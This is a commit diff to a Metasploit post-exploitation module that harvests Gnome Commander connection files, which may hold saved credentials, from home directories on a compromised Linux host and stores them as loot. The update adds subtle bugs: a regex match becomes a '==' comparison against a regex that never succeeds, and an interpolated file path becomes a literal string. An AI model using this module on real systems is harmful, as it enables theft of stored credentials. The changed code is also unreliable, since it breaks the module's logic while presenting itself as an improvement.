Update gnome_commander_creds.rb
parent
9aa1b86d8f
commit
2e5c2a514b
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
|
|||
def run
|
||||
user_dirs = []
|
||||
user = cmd_exec("whoami").chomp
|
||||
if (user =~ /root/)
|
||||
if (user == /root/)
|
||||
print_status("Current user is #{user}, probing all home dirs")
|
||||
user_dirs << '/root'
|
||||
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
|
||||
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
|
|||
begin
|
||||
print_good("File found : #{connections_file}")
|
||||
print_line(read_file(connections_file))
|
||||
p = store_loot("connections", "text/plain", session, read_file(connections_file), "#{connections_file}", "Gnome-Commander connections")
|
||||
p = store_loot("connections", "text/plain", session, read_file(connections_file), "connections_file", "Gnome-Commander connections")
|
||||
print_good ("Connections file saved to #{p}")
|
||||
print_line()
|
||||
rescue EOFError
|
||||
|
|
Loading…
Reference in New Issue